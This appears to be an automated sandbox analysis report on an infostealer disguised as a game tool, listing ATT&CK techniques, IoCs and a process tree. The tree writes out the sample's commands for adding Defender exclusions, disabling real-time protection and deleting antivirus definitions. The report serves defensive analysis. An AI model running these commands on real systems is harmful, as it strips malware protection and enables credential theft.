926aaf413202b89c532a7e7f4faa364fbe44d90f53dfa00b6af04de785c644e8

Analysis

max time kernel
104s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
22-11-2024 15:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

WalterFN REVIVED perm and temp.exe
Size

7.6MB
MD5

f56c04d05f7e84a2013697ec4122ed49
SHA1

73037619bc747de6fad26a605dfb8f9087c274fc
SHA256

a80abe51170126d2b18068704a2393a322f89c481daad6776465680e60fc4755
SHA512

39fc7e12e98a3608c8d788586f5644da6069ae73dd3d96c16073b1a85503fc77d659513166e74d4865689be95130eaff1a4a19695d044dda34089cc08ee27654
SSDEEP

196608:BtHYAi/wfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jV:/iUIHziK1piXLGVE4Ue0VJp

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2216 powershell.exe
1112 powershell.exe
2348 powershell.exe
2848 powershell.exe
1000 powershell.exe

pid	process
2216	powershell.exe
1112	powershell.exe
2348	powershell.exe
2848	powershell.exe
1000	powershell.exe

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exeWalterFN REVIVED perm and temp.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	WalterFN REVIVED perm and temp.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
collection

Clipboard Data
T1115

Processes:

cmd.exepowershell.exe

pid process

2792 cmd.exe
908 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

rar.exe

pid process

3220 rar.exe

pid	process
2792	cmd.exe
908	powershell.exe

pid	process
3220	rar.exe

Loads dropped DLL 17 IoCs

Processes:

WalterFN REVIVED perm and temp.exe

pid	process
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe
2196	WalterFN REVIVED perm and temp.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 discord.com
5 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates processes with tasklist 1 TTPs 5 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid process

5004 tasklist.exe
3336 tasklist.exe
2540 tasklist.exe
1164 tasklist.exe
3380 tasklist.exe

flow	ioc
1	discord.com
5	discord.com

flow	ioc
1	ip-api.com

pid	process
5004	tasklist.exe
3336	tasklist.exe
2540	tasklist.exe
1164	tasklist.exe
3380	tasklist.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI40562\python313.dll	upx
behavioral1/memory/2196-25-0x00007FFF04CE0000-0x00007FFF05343000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\_ctypes.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\_ssl.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\libssl-3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\libcrypto-3.dll	upx
behavioral1/memory/2196-32-0x00007FFF1C1F0000-0x00007FFF1C1FF000-memory.dmp	upx
behavioral1/memory/2196-31-0x00007FFF19B70000-0x00007FFF19B97000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI40562\libffi-8.dll	upx
behavioral1/memory/2196-54-0x00007FFF17070000-0x00007FFF1709B000-memory.dmp	upx
behavioral1/memory/2196-56-0x00007FFF19F40000-0x00007FFF19F59000-memory.dmp	upx
behavioral1/memory/2196-58-0x00007FFF17040000-0x00007FFF17065000-memory.dmp	upx
behavioral1/memory/2196-60-0x00007FFF047D0000-0x00007FFF0494F000-memory.dmp	upx
behavioral1/memory/2196-62-0x00007FFF17020000-0x00007FFF17039000-memory.dmp	upx
behavioral1/memory/2196-64-0x00007FFF1C1E0000-0x00007FFF1C1ED000-memory.dmp	upx
behavioral1/memory/2196-70-0x00007FFF16FE0000-0x00007FFF17014000-memory.dmp	upx
behavioral1/memory/2196-71-0x00007FFF04290000-0x00007FFF047C3000-memory.dmp	upx
behavioral1/memory/2196-73-0x00007FFF16030000-0x00007FFF160FE000-memory.dmp	upx
behavioral1/memory/2196-69-0x00007FFF04CE0000-0x00007FFF05343000-memory.dmp	upx
behavioral1/memory/2196-78-0x00007FFF19B60000-0x00007FFF19B6D000-memory.dmp	upx
behavioral1/memory/2196-80-0x00007FFF0B1C0000-0x00007FFF0B273000-memory.dmp	upx
behavioral1/memory/2196-77-0x00007FFF16DA0000-0x00007FFF16DB4000-memory.dmp	upx
behavioral1/memory/2196-76-0x00007FFF19B70000-0x00007FFF19B97000-memory.dmp	upx
behavioral1/memory/2196-104-0x00007FFF19F40000-0x00007FFF19F59000-memory.dmp	upx
behavioral1/memory/2196-117-0x00007FFF17040000-0x00007FFF17065000-memory.dmp	upx
behavioral1/memory/2196-234-0x00007FFF047D0000-0x00007FFF0494F000-memory.dmp	upx
behavioral1/memory/2196-310-0x00007FFF16FE0000-0x00007FFF17014000-memory.dmp	upx
behavioral1/memory/2196-314-0x00007FFF04290000-0x00007FFF047C3000-memory.dmp	upx
behavioral1/memory/2196-318-0x00007FFF16030000-0x00007FFF160FE000-memory.dmp	upx
behavioral1/memory/2196-343-0x00007FFF047D0000-0x00007FFF0494F000-memory.dmp	upx
behavioral1/memory/2196-351-0x00007FFF0B1C0000-0x00007FFF0B273000-memory.dmp	upx
behavioral1/memory/2196-337-0x00007FFF04CE0000-0x00007FFF05343000-memory.dmp	upx
behavioral1/memory/2196-376-0x00007FFF16FE0000-0x00007FFF17014000-memory.dmp	upx
behavioral1/memory/2196-375-0x00007FFF1C1E0000-0x00007FFF1C1ED000-memory.dmp	upx
behavioral1/memory/2196-377-0x00007FFF04290000-0x00007FFF047C3000-memory.dmp	upx
behavioral1/memory/2196-374-0x00007FFF17020000-0x00007FFF17039000-memory.dmp	upx
behavioral1/memory/2196-373-0x00007FFF047D0000-0x00007FFF0494F000-memory.dmp	upx
behavioral1/memory/2196-372-0x00007FFF17040000-0x00007FFF17065000-memory.dmp	upx
behavioral1/memory/2196-371-0x00007FFF19F40000-0x00007FFF19F59000-memory.dmp	upx
behavioral1/memory/2196-370-0x00007FFF17070000-0x00007FFF1709B000-memory.dmp	upx
behavioral1/memory/2196-369-0x00007FFF16030000-0x00007FFF160FE000-memory.dmp	upx
behavioral1/memory/2196-368-0x00007FFF19B70000-0x00007FFF19B97000-memory.dmp	upx
behavioral1/memory/2196-367-0x00007FFF1C1F0000-0x00007FFF1C1FF000-memory.dmp	upx
behavioral1/memory/2196-366-0x00007FFF0B1C0000-0x00007FFF0B273000-memory.dmp	upx
behavioral1/memory/2196-365-0x00007FFF19B60000-0x00007FFF19B6D000-memory.dmp	upx
behavioral1/memory/2196-364-0x00007FFF16DA0000-0x00007FFF16DB4000-memory.dmp	upx
behavioral1/memory/2196-352-0x00007FFF04CE0000-0x00007FFF05343000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

Processes:

chrome.exe

description ioc process

File opened for modification C:\Windows\SystemTemp chrome.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

netsh.execmd.exe

pid process

1824 netsh.exe
2500 cmd.exe
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exeWMIC.exeWMIC.exe

pid process

1124 WMIC.exe
2212 WMIC.exe
1660 WMIC.exe

pid	process
1824	netsh.exe
2500	cmd.exe

pid	process
1124	WMIC.exe
2212	WMIC.exe
1660	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

3320 systeminfo.exe

pid	process
3320	systeminfo.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133767623096922011"	chrome.exe

Modifies registry class 5 IoCs

Processes:

BackgroundTransferHost.exeMiniSearchHost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exechrome.exe

pid	process
2848	powershell.exe
2216	powershell.exe
2216	powershell.exe
2216	powershell.exe
2848	powershell.exe
2848	powershell.exe
1000	powershell.exe
1000	powershell.exe
908	powershell.exe
908	powershell.exe
2420	powershell.exe
2420	powershell.exe
908	powershell.exe
2420	powershell.exe
1112	powershell.exe
1112	powershell.exe
3412	powershell.exe
3412	powershell.exe
2348	powershell.exe
2348	powershell.exe
2004	powershell.exe
2004	powershell.exe
132	chrome.exe
132	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

Processes:

chrome.exe

pid process

132 chrome.exe
132 chrome.exe
132 chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

tasklist.exepowershell.exepowershell.exeWMIC.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	5004	tasklist.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeIncreaseQuotaPrivilege	3760	WMIC.exe
Token: SeSecurityPrivilege	3760	WMIC.exe
Token: SeTakeOwnershipPrivilege	3760	WMIC.exe
Token: SeLoadDriverPrivilege	3760	WMIC.exe
Token: SeSystemProfilePrivilege	3760	WMIC.exe
Token: SeSystemtimePrivilege	3760	WMIC.exe
Token: SeProfSingleProcessPrivilege	3760	WMIC.exe
Token: SeIncBasePriorityPrivilege	3760	WMIC.exe
Token: SeCreatePagefilePrivilege	3760	WMIC.exe
Token: SeBackupPrivilege	3760	WMIC.exe
Token: SeRestorePrivilege	3760	WMIC.exe
Token: SeShutdownPrivilege	3760	WMIC.exe
Token: SeDebugPrivilege	3760	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3760	WMIC.exe
Token: SeRemoteShutdownPrivilege	3760	WMIC.exe
Token: SeUndockPrivilege	3760	WMIC.exe
Token: SeManageVolumePrivilege	3760	WMIC.exe
Token: 33	3760	WMIC.exe
Token: 34	3760	WMIC.exe
Token: 35	3760	WMIC.exe
Token: 36	3760	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3760	WMIC.exe
Token: SeSecurityPrivilege	3760	WMIC.exe
Token: SeTakeOwnershipPrivilege	3760	WMIC.exe
Token: SeLoadDriverPrivilege	3760	WMIC.exe
Token: SeSystemProfilePrivilege	3760	WMIC.exe
Token: SeSystemtimePrivilege	3760	WMIC.exe
Token: SeProfSingleProcessPrivilege	3760	WMIC.exe
Token: SeIncBasePriorityPrivilege	3760	WMIC.exe
Token: SeCreatePagefilePrivilege	3760	WMIC.exe
Token: SeBackupPrivilege	3760	WMIC.exe
Token: SeRestorePrivilege	3760	WMIC.exe
Token: SeShutdownPrivilege	3760	WMIC.exe
Token: SeDebugPrivilege	3760	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3760	WMIC.exe
Token: SeRemoteShutdownPrivilege	3760	WMIC.exe
Token: SeUndockPrivilege	3760	WMIC.exe
Token: SeManageVolumePrivilege	3760	WMIC.exe
Token: 33	3760	WMIC.exe
Token: 34	3760	WMIC.exe
Token: 35	3760	WMIC.exe
Token: 36	3760	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1124	WMIC.exe
Token: SeSecurityPrivilege	1124	WMIC.exe
Token: SeTakeOwnershipPrivilege	1124	WMIC.exe
Token: SeLoadDriverPrivilege	1124	WMIC.exe
Token: SeSystemProfilePrivilege	1124	WMIC.exe
Token: SeSystemtimePrivilege	1124	WMIC.exe
Token: SeProfSingleProcessPrivilege	1124	WMIC.exe
Token: SeIncBasePriorityPrivilege	1124	WMIC.exe
Token: SeCreatePagefilePrivilege	1124	WMIC.exe
Token: SeBackupPrivilege	1124	WMIC.exe
Token: SeRestorePrivilege	1124	WMIC.exe
Token: SeShutdownPrivilege	1124	WMIC.exe
Token: SeDebugPrivilege	1124	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1124	WMIC.exe
Token: SeRemoteShutdownPrivilege	1124	WMIC.exe
Token: SeUndockPrivilege	1124	WMIC.exe
Token: SeManageVolumePrivilege	1124	WMIC.exe
Token: 33	1124	WMIC.exe
Token: 34	1124	WMIC.exe

Suspicious use of FindShellTrayWindow 26 IoCs

Processes:

chrome.exe

pid	process
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

Processes:

chrome.exe

pid	process
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe
132	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

MiniSearchHost.exe

pid process

388 MiniSearchHost.exe

pid	process
388	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WalterFN REVIVED perm and temp.exeWalterFN REVIVED perm and temp.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4056 wrote to memory of 2196	4056	WalterFN REVIVED perm and temp.exe	WalterFN REVIVED perm and temp.exe
PID 4056 wrote to memory of 2196	4056	WalterFN REVIVED perm and temp.exe	WalterFN REVIVED perm and temp.exe
PID 2196 wrote to memory of 3304	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 3304	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 4680	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 4680	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 2624	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 2624	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 72	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 72	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 72 wrote to memory of 5004	72	cmd.exe	tasklist.exe
PID 72 wrote to memory of 5004	72	cmd.exe	tasklist.exe
PID 3304 wrote to memory of 2848	3304	cmd.exe	powershell.exe
PID 3304 wrote to memory of 2848	3304	cmd.exe	powershell.exe
PID 4680 wrote to memory of 2216	4680	cmd.exe	powershell.exe
PID 4680 wrote to memory of 2216	4680	cmd.exe	powershell.exe
PID 2196 wrote to memory of 4600	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 4600	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2624 wrote to memory of 4208	2624	cmd.exe	mshta.exe
PID 2624 wrote to memory of 4208	2624	cmd.exe	mshta.exe
PID 4600 wrote to memory of 3760	4600	cmd.exe	WMIC.exe
PID 4600 wrote to memory of 3760	4600	cmd.exe	WMIC.exe
PID 2196 wrote to memory of 3540	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 3540	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 3540 wrote to memory of 3788	3540	cmd.exe	reg.exe
PID 3540 wrote to memory of 3788	3540	cmd.exe	reg.exe
PID 2196 wrote to memory of 1052	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 1052	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 1052 wrote to memory of 2636	1052	cmd.exe	reg.exe
PID 1052 wrote to memory of 2636	1052	cmd.exe	reg.exe
PID 2196 wrote to memory of 2156	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 2156	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2156 wrote to memory of 1124	2156	cmd.exe	WMIC.exe
PID 2156 wrote to memory of 1124	2156	cmd.exe	WMIC.exe
PID 2196 wrote to memory of 4220	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 4220	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 4220 wrote to memory of 2212	4220	cmd.exe	WMIC.exe
PID 4220 wrote to memory of 2212	4220	cmd.exe	WMIC.exe
PID 2196 wrote to memory of 1732	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 1732	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 1732 wrote to memory of 1000	1732	cmd.exe	powershell.exe
PID 1732 wrote to memory of 1000	1732	cmd.exe	powershell.exe
PID 2196 wrote to memory of 1428	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 1428	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 1428 wrote to memory of 3336	1428	cmd.exe	tasklist.exe
PID 1428 wrote to memory of 3336	1428	cmd.exe	tasklist.exe
PID 2196 wrote to memory of 712	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 712	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 712 wrote to memory of 2540	712	cmd.exe	tasklist.exe
PID 712 wrote to memory of 2540	712	cmd.exe	tasklist.exe
PID 2196 wrote to memory of 1752	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 1752	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 2792	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 2792	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 4048	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 4048	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 1752 wrote to memory of 5076	1752	cmd.exe	WMIC.exe
PID 1752 wrote to memory of 5076	1752	cmd.exe	WMIC.exe
PID 2196 wrote to memory of 5028	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 5028	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2792 wrote to memory of 908	2792	cmd.exe	powershell.exe
PID 2792 wrote to memory of 908	2792	cmd.exe	powershell.exe
PID 2196 wrote to memory of 2500	2196	WalterFN REVIVED perm and temp.exe	cmd.exe
PID 2196 wrote to memory of 2500	2196	WalterFN REVIVED perm and temp.exe	cmd.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

3116 attrib.exe
3204 attrib.exe

pid	process
3116	attrib.exe
3204	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WalterFN REVIVED perm and temp.exe
"C:\Users\Admin\AppData\Local\Temp\WalterFN REVIVED perm and temp.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Users\Admin\AppData\Local\Temp\WalterFN REVIVED perm and temp.exe
  "C:\Users\Admin\AppData\Local\Temp\WalterFN REVIVED perm and temp.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WalterFN REVIVED perm and temp.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WalterFN REVIVED perm and temp.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('get ratted!!! block me and i bsod u!!', 0, 'uhhh', 32+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('get ratted!!! block me and i bsod u!!', 0, 'uhhh', 32+16);close()"
      4⤵
      PID:4208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:72
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4600
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3540
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:3788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1052
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:2636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2156
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:1124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
